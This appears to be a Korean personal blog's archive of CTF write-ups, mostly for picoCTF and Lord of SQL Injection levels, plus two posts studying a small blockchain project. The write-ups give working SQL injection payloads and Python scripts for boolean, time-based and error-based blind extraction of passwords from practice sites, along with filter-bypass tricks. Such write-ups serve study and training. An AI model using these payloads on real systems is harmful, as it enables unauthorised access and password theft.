이 문제는 어셈블리어를 얼마나 이해를 하느냐를 묻는 문제이다.


intel_syntax noprefix

.bits 32

.global asm0

asm0:

push ebp

mov ebp,esp

mov eax,DWORD PTR [ebp+0x8]

mov ebx,DWORD PTR [ebp+0xc]

mov eax,ebx

mov esp,ebp

pop ebp

ret


ebp + 0x8 = argv[1]

ebp + 0xc = argv[2]


mov eax, ebx로 ebx 값을 eax에 넣는것을 볼 수 있다.


eax는 리턴값이다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27


이 문제는 포렌식 문제로서 패킷을 분석하는 문제이다.

허나 문제에서 트래픽을 캡쳐했고 어드민 패널에 로그인을 한 패킷이라고 한다.

그렇다면 http 프로토콜로 찾으면 쉽게 필터를 할 수 있을 것이라 추측하였다.


수 많은 패킷 중에서 유일하게 통신하는 것들만 남았다.


POST 메소드로 login에 패킷을 쏜것을 발견할 수 있다.





플래그를 얻을 수 있었다.


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] assembly-0  (31) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27

이 문제는 blind injection 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다.


먼저 길이는 아래의 쿼리로 가져올 수 있다.


a' or length(answer)=5 -- -


코드를 작성하여 편하게 가져왔다.



import requests

import json

length = 0

url = 'http://2018shell3.picoctf.com:2644/answer2.php';

headers = {'User-Agent': 'Mozilla/5.0'}

for i in range(1, 50):

param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}

rs = requests.post(url, data=param ,headers=headers)

text = rs.text

print(str(i) + "start")

if("You are so close." in text):

length = i

break

print("find length=" + str(length))



그 후 answer의 값을 가져오는 방법은 아래의 쿼리로 가져올 수 있다.


 a' or length(answer)=14 and Unicode(substr(answer, 1, 1))=41 -- -


이 역시 편하게 코드를 작성하여 처리했다.

exploit.py 


import requests

import json

length = 0

url = 'http://2018shell3.picoctf.com:2644/answer2.php';

headers = {'User-Agent': 'Mozilla/5.0'}

for i in range(1, 50):

param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}

rs = requests.post(url, data=param ,headers=headers)

text = rs.text

print(str(i) + "start")

if("You are so close." in text):

length = i

break

print("find length=" + str(length))


flag = ""

for i in range(1, length+1):

print("start " + str(i))

for c in range(48,125):

param = {'answer' : "a' or length(answer)=14 and unicode(substr(answer," + str(i) + ",1))=" + str(c) + " -- - ", 'debug': 0}

rs = requests.post(url, data=param, headers=headers)

text = rs.text

if("Wrong." in text):

continue

else:

print("find " + chr(c))

flag += chr(c)

break

print(flag)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] assembly-0  (31) 2018.10.18
[picoCTF] admin panel  (0) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27


이 문제는 flag를 알아내면 되는 문제이다.

허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다.


$new_flag substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);


ㅇㅇ;;


update문을 에러를 띄워서 찾아내면 대는거시다.

그렇다면 update문은 실제로 실행이 되지 않고 리셋이 되지 않는것이다.


하지만 맞는지 안맞는지를 어떻게 알아야할지가 문제였다.


방법은 sleep을 통해 리퀘스트 받은 시간으로 하면 대는거시여따.

sleep(0) 일 경우  select 1 union select 2를 이용하여 에러를 띄워주는 식인것이다.

맞으면 sleep(3)이 되어 실행이 대는거시다



import requests

import time


url = "https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?flag=sleep(2*(length(flag)=1)) | (select 1 union select 2) -- -

'''

length = 16

strs = ""


for i in range(1, 50):

    start = time.time()

    rs = requests.get(url + "?flag=sleep(2*(length(flag)=" + str(i) + "))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


    if((time.time()-start) > 2):

        print("find it length = " + str(i))

        length = i

        break


for i in range(1, length+1):

    print(str(i) + " start !")

    for c in range(48, 127):

        start = time.time()

        rs = requests.post(url + "?flag=sleep(2*(flag%20like%20%27" + strs + chr(c) + "%%27))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


        if((time.time()-start) >2):

            print(str(i) + " find it " + str(c) + " " + chr(c))

            strs += chr(c)

            break



print(strs)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22


이 문제는 if문이 막혀있었다.

그래서 검색을 해보니 union으로 거짓일 경우와 참일 경우를 비교하는 방법을 찾아냈다.



이것을 이용해서 이전 문제와 비슷하게 풀어냈다.


import requests



url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}


'''

?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=8%20union%20select%201)--%20-

'''


length = 0


for i in range(1,100):

    rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=" + str(i) + "%20union%20select%201)--%20-", headers=headers, cookies=cookies)

    text = rs.text


    if("query" in text):

        print("find it length = " + str(i))

        length = i

        break



# get length


for i in range(1, length+1):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20ord(substr(pw, " + str(i) + ",1))="+ str(c) +"%20union%20select%201)--%20-", headers=headers, cookies=cookies)

        text = rs.text


        if("query" in text):

            print(str(i) + " find it " + str(c) + " " + chr(c))

            break

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22


이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다.


그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다.


select * from table where 1 and if(1=1,1,(select 1 union select 2))


select * from table where 1 and if(1=2,1,(select 1 union select 2))


첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다.


두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고,


서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)


http://hackerschool.org/Sub_Html/HS_Posting/?uid=43


글을 읽고 풀었다.


너모 감사드린다.


import requests


url = "https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}


'''

?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=16),1,(select%201%20union%20select%202));%20%23%20

error : Subquery returns more than 1 row

'''


length = 0


for i in range(1,100):

    rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=" + str(i) + "),1, (select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

    text = rs.text

    if("Subquery returns more than 1 row" in text):

        pass

    else:

        print("find it length = " + str(i))

        length = i/4

        break


# get length


for i in range(1, i+1):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((ord(substr(pw,"+ str(i) +",1))="+ str(c) +",1,(select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

        text = rs.text

        if(not "Subquery returns more than 1 row" in text):

            print(str(i) + " find it " + str(c))

            break


유니코드이기때문에 /4를 해주었다.



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22


이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;

뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데 

%0a가 있음을 깨달았다.


?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22


이 문제는 정말 좋은 경험을 했다고 생각한다.



40글자라고 해서 좀 놀랐다.
허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다.
유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다.

유니코드는 ord 함수를 이용하여 뽑아내었따


import requests


url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?pw=1234%27%20or%20id=%27admin%27%20%20and%20right(left(pw,1),1)=%27a%27%23

?pw=1234%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,%201,%201))%20=%2010%20%23

'''


for x in range(10):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20ord(substr(pw,%20" + str(x) + ",%201))%20=%20" + str(c) + "%20%23", headers=headers, cookies=cookies)

        text = rs.text


        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) +  " ascii = " + str(c) + " find it")




'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22


이 문제는 mysql 에서 문자열은 0이 된다.


?pw=%27)=0;%00


0=0은 true이기에 조건이 맞아서 출력이 댄다.

SELECT 'a' = 0 — TRUE

SELECT 'abc' = 0 — TRUE


SELECT '1' = 0 — FALSE

SELECT '123' = 0 — FALSE



SELECT 'x1' = 0 — TRUE


SELECT '1x' = 0 — FALSE 

SELECT '1x' = 1 — TRUE


SELECT '12x1' = 0 — FALSE

SELECT '12x1' = 121 — FALSE

SELECT '12x1' = 12 — TRUE 



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22


이 문제는 싱글쿼터를 못 넣는다...

허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다.


그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다.


?id=\&pw=%20||%201=1%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22


이 문제는 싱글 쿼터를 사용못하게 막아두었다.

하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다.


?id=%00%27%20%7C%7Cid="admin"%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22


like에는 % 정규식 비슷한게 있다.


https://www.w3schools.com/sql/sql_like.asp


이 문제는 조금 당황스러운 문제였다.

아무리해도 어드민이 뜨지 않는 것이다.


그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각을 하게 되었다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

strs = "8_"

for i in range(8):
    for c in range(48,125):
        rs = requests.get(url + "?pw=" + strs + chr(c) + "%" ,headers=headers, cookies=cookies)

        text = rs.text

        if("<br><h2>Hello admin</h2>" in text):
            strs += chr(c)

            print(str(i+1) + " " +chr(c) + " find it”)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22


이 문제는 좀 신기했다.

실제에서도 이런 일이 생기는걸까?

무슨 의도가 있는지 나는 잘 모르겠다.


그냥 사이에 공백을 만들어줘서 풀었다.


?shit=%0b

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22


이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다.


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dlength(pw)%0din%0d(8)


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)
'''
for i in range(8):
    for c in range(33, 125):
        rs = requests.get(url + "?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw," + str(i+1) + "),1)%0din%0d(%22" + chr(c) + "%22)", headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):
            print(str(i+1) + " " +chr(c) + " find it”) 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22


?pw=1&no=1%20%7C%7C%20id%20like%20%22admin%22%20%26%26length(pw)%20like%208


?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20”a”


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20a
'''

for x in range(8):
    for c in range(33, 125):
        rs = requests.get(url + '?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,' + str(x+1) + '),1)%20like%20"' + chr(c) +'"' , headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(c) + " find it") 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22


이 문제는 pw 가 실제 pw와 같아야한다.

이 역시 블라인드 인젝션으로 풀었다.


?pw=1234%27%7C%7Cid%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23


아마 이 문제 자바 수업때 안듣고 풀었던것 같은데 언제 풀었는지 기억이 안난다.

스크립트가 에버노트에 있는거보면 수업시간때 푼것 같다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw,1),1)%20like%2013%23
'''
for x in range(8):
    for i in range(33, 125):
        rs = requests.get(url + "?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw," + str(x+1) + "),1)%20like%20'" + chr(i) + "' %23", headers=headers, cookies=cookies)
        text = rs.text

        if(“<br><h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(i) + " find it")

이 문제는 = 이 막혀있다.
in 이나 like로 이용하여 우회하면 된다. 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22


아이디만 바꾸면 대는 문제였다.


?pw=1234%27%20or%20id=%27admin%27%20%23%20

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22


사실 이 문제는 아마도 aadmindmin 을 의도한 것 같지만 나는 그냥 대문자로 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22


입력한 값이 admin일 경우 hehe를 띄운다


대문자를 이용하여 풀면 댄다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22


이것도 실제 pw 와 입력한 pw가 맞아야 풀리는 문제이기에 블라인드 인젝션을 이용하였다.


먼저 길이부터 파악했다.


?pw=1234%27%0d||id=%27admin%27%20%26%26%20length(pw)=8%0d--%20-


스크립트를 랩실에 있고 현재는 집에 있어서 걍 저걸로 올림 ㅎㅎ;


?pw=1234%27%0d||%0did=%27admin%27%0d%26%26%0dascii(substr(pw,1,1))%3E0%0d--%20-


이 또한 스크립트가 랩실에 있다 ㅎ


아무튼 하나하나 뽑아서 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22


이 문제는 전의 문제와 비슷한 방법으로 풀지만 or과 and가 막혀따


하지만 || 으로 대신하여 우회가 가능하다.


?pw=1234%27%20||%20id=%27admin%27%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18


이 문제는 아이디를 admin으로 바꾸면 된다.


pw를 아무거나 입력하고 뒤에 id=admin 이 실행되게 하면 되겠다.


?pw=123412312312%27%0dor%0did=%27admin%27%0d%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18


pw가 실제 pw가 맞는지 체크한다.

블라인드 인젝션 문제였다.


먼저 길이를 파악하기 위해 아래의 코드를 ㅇㅣ용햇다


import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for i in range(20):
rs = requests.get(url + "?pw=1234' || id='admin' and length(pw)="+str(i) + " -- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):

print(str(i) + " find it") 

길이를 확인한 후 씬나게 때려맞췄다.

import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for j in range(8):
for i in range(33, 125):
rs = requests.get(url + "?pw=1234' || id='admin' and ascii(substr(pw," + str(j+1) + ", 1))=" + str(i) + "-- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):
print(str(j) + " " + chr(i) + " find it")
break 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (62) 2018.09.18


id를 어드민으로 만들면 댄다.


and 연산이 먼저니까,,,0 으로 만들고 or로 뒤에 코드를 실행시키면 되시겟다!


?no=1 로 주면 게스트라고 뿌려준다.


없을 것 같은 값을 넣어서 아무 값도 안뿌려주면 없다는거시겠지,,,!


싱글쿼터랑 더블쿼터는 막혀있어서 char로 우회해줬다.


?no=112302130131290123||id=char(97,100,109,105,110)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (62) 2018.09.18
[Pwnable.kr] passcode - 10 pt  (0) 2017.01.25


이번 문제는 id가 admin이여야 풀림


개 멍청하게 연산자 우선 순위 생각 안해서 삽질을 했다.


?id=admin%27%20and%20pw=%271234551231%27%20or%20%271%27=%271%27%20--%20-


연산자 우선 순위 생각을 못하고 저렇게 작성했다...ㅠㅠㅠ

and 먼저 연산되고 그 뒤에 or 이 되는데 ㅠㅠㅠㅠㅠ

왜 or 먼저 된다고 생각했는지 원...


?id=admin%27%20and%20(pw=%271234551231%27%20or%20%271%27=%271%27)%20--%20-





'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] gremlin  (62) 2018.09.18
[Pwnable.kr] passcode - 10 pt  (0) 2017.01.25
[Pwnable.kr] fsb - 20 pt  (0) 2017.01.25




이 문제는 아이디가 걍 로그인만 되면 풀림


?id=hubeen&pw=1234%27%20or%201=1--%20-



' 로 싱글 쿼터 닫아주고 or 로 1=1 -- - 로 주석처리해서 풀음~

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[Pwnable.kr] passcode - 10 pt  (0) 2017.01.25
[Pwnable.kr] fsb - 20 pt  (0) 2017.01.25
[Pwnable.kr] input - 4 pt  (0) 2017.01.04



안녕하세요. 


저는 공주대학교 컴퓨터공학부 컴퓨터소프트웨어전공 17학번 문승현입니다. 


현재 블록체인 기술에 대해 공부를 하여 공부한 내용을 정리하고자 게시글을 작성하였습니다. 


미리 읽어주시는 분들께 감사하며 잘못된 지식이 있을 경우 마음 편하게 피드백주시면 감사하겠습니다.


g-coin 분석(0) : http://blog.hubeen.kr/337

g-coin 분석(1) : http://blog.hubeen.kr/339


벌써 분석(2)라니 뿌듯함을 감출 수 없습니다!!!


오늘 게시글에서는 실제로 서버에서 소스코드를 작동을 시켜 사용을 해볼 예정입니다.


저는 골빈님께서 올려주신 Insomnia라는 툴을 사용하지 않고 포스트맨이라는 툴을 사용하였습니다.


서버 구동


python3 app.py --port 5000


위와 같이 실행을 하게 되면 아래와 같이 메세지가 띄어졌다면 서버가 실행된것입니다!



 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)



아, 저는 app.py의 코드를 외부 접속도 허용하게 실행하여 0.0.0.0 으로 메세지가 떴지만 다른 분들은 127.0.0.1로 뜨실 겁니다 !


서버를 실행을 성공적으로 하셨다면 이제 이것저것 쇼핑하듯이 구경해볼까요?!


채굴(mine)

채굴에 대한 링크는 서버 주소:5000/mine [post] 를 하면 된다고 깃허브에 나와있습니다!

한번 포스트맨을 이용하여 채굴을 해볼까요?


http://서버주소:5000/mine 으로 post를 쏴보니 채굴이 되었음을 볼 수 있습니다.



{

    "block": {

        "header": {

            "difficulty": 1,

            "previous_hash": "64fb44605fe924d910fc285a72f2b8d9220fd4cff755510b6e0e6c476f4cae4e",

            "proof": 11,

            "timestamp": 1520200361.470756

        },

        "transactions": [

            {

                "amount": 1,

                "recipient": "0e5d1ef7e4a944b2be47c1913dea0c8f",

                "sender": "0"

            }

        ]

    },

    "message": "New block is mined!"

}



보낸이는 "0"으로 신 혹은 관리자가 0e5d1ef7e4a944b2be47c1913dea0c8f 주소로 1을 보내준 것을 볼 수 잇네요!

그리고 메세지에 새로운 블럭이 채굴되었다라는 것도 보이네요!

블럭에 대한 헤더는 어려움을 1, 그리고 채굴 전의 초기 블럭 생성이 되었으니 그 초기 블럭의 해쉬를 이전 해쉬 값에 들어간것도 보이네요!


자 그러면 채굴이 되었다면 현재 블록체인이 어떻게 되어있는지 구경하러가볼까요?


블록체인 (chain)

현재 모든 체인이 어떻게 이어져있는지 보도록 하겠습니다.

GET 파라메터로 http://서버주소:5000/chain 을 하시면 됩니다.


초기 블럭과 현재 아까 채굴한 블럭이 이어져있는 것을 볼 수 있으며 전체 갯수는 2개라는 것을 볼 수 있습니다.


거래 (transaction)

이제 거래를 해보도록 해볼까요?!
먼저 신이 hubeen 주소로 1024개를 보내는 것을 해보도록 하겠습니다

보내는데에는 post 형식으로 http://서버주소:5000/transaction 을 하시면 됩니다.

신 혹은 관리자가 거래 전송


네, 이제 보내졌는지 거래 기록에 제대로 기록이 되었는지 확인해보죠!


거래 확인

거래 확인은 GET 파라메터로 http://서버주소:5000/transaction 을 하시면 됩니다.



[

    {

        "amount": 1024,

        "recipient": "hubeen",

        "sender": "0"

    }

]



현재 거래 기록에 보낸이는 "0"으로 신 혹은 관리자가 받는이 hubeen에게 1024개를 보낸 것이 거래 기록에 잘 저장되있음을 볼 수 있습니다.


이제 hubeen이 postman에게 500개를 전송하는 것을 다시 해보도록 하죠!


hubeen->postman 500개 전송


네! 잘 보내진 것을 볼 수 있습니다.

거래 확인



네, 이렇게 코드 리뷰하고 서버에서 실제로 실행하여 확인을 하는 것까지 하였습니다.

이걸로 g-coin은 마무리하며 더 재밌고 괜찮은 코드를 발견하게 되면 그것도 작성하도록 하겠습니다.


읽어주셔서 감사합니다.


'0x30 Study > 0x32 Blockchain' 카테고리의 다른 글

g-coin 분석(1)  (1) 2018.03.03
g-coin 분석(0)  (0) 2018.03.01
BlockChain을 공부하자! (0)  (62) 2018.02.28

안녕하세요. 

저는 공주대학교 컴퓨터공학부 컴퓨터소프트웨어전공 17학번 문승현입니다. 

현재 블록체인 기술에 대해 공부를 하여 공부한 내용을 정리하고자 게시글을 작성하였습니다. 

미리 읽어주시는 분들께 감사하며 잘못된 지식이 있을 경우 마음 편하게 피드백주시면 감사하겠습니다.


g-coin 분석(0) : g-coin 분석(0)


이전 게시글의 분석글을 위의 링크로 보실 수 있습니다.

이제 이전 분석을 이어가보도록 하겠습니다.


분석


남은 blockchain.py, miner.py, node.py, proof.py 는 현재 게시글에서 정리를 이어가도록 하겠습니다.


proof.py

import hashlib

import gcoin.config as cfg


def valid_proof(block, proof=None):
    """ Validates proof

    last digits of hash(previous_block.header, proof)
        == config.PROOF_DIGITS

    Args:
        block (obj):
        proof (int): proof to validate

    Returns:
        bool:
    """
    proof = proof if proof else block.proof

    proof_seed = '{0}{1}'.format(block.header.hash(),
                                 proof).encode()

    proof_hash = hashlib.sha256(proof_seed).hexdigest()

    return proof_hash[:block.difficulty] == cfg.PROOF_DIGITS * block.difficulty


def find_proof(block):
    """proof of work

    Args:
        block (obj):

    Returns:
        int: proof
    """
    proof = 0

    while valid_proof(block, proof) is False:
        proof += 1

    return proof


proof.py는 config.py 파일을 불러옵니다.

그리고 두개의 함수가 있네요.


def valid_proof(block, proof=None): """ Validates proof last digits of hash(previous_block.header, proof) == config.PROOF_DIGITS Args: block (obj): proof (int): proof to validate Returns: bool: """ proof = proof if proof else block.proof proof_seed = '{0}{1}'.format(block.header.hash(), proof).encode() proof_hash = hashlib.sha256(proof_seed).hexdigest() return proof_hash[:block.difficulty] == cfg.PROOF_DIGITS * block.difficulty

valid_proof 함수는 유효한 증명인지 확인하는 함수인 것 같습니다.
두개의 인자를 받는 것을 볼 수 있습니다.

block : object 타입으로 블록을 넘겨받습니다.
proof : int 타입으로 블록의 유효한 proof인지 확인하는 값 같습니다.

proof에는 블록의 proof를 넘겨받았는지 확인을 하여 대입을 하는 것 같습니다.
proo_seed 에는 블록의 헤더 해쉬+넘겨받은 proof 값
proof_hash 는 sha256암호화로 블록해쉬 + proof의 값을 암호화하여 해쉬화하는 것을 볼 수 있습니다.

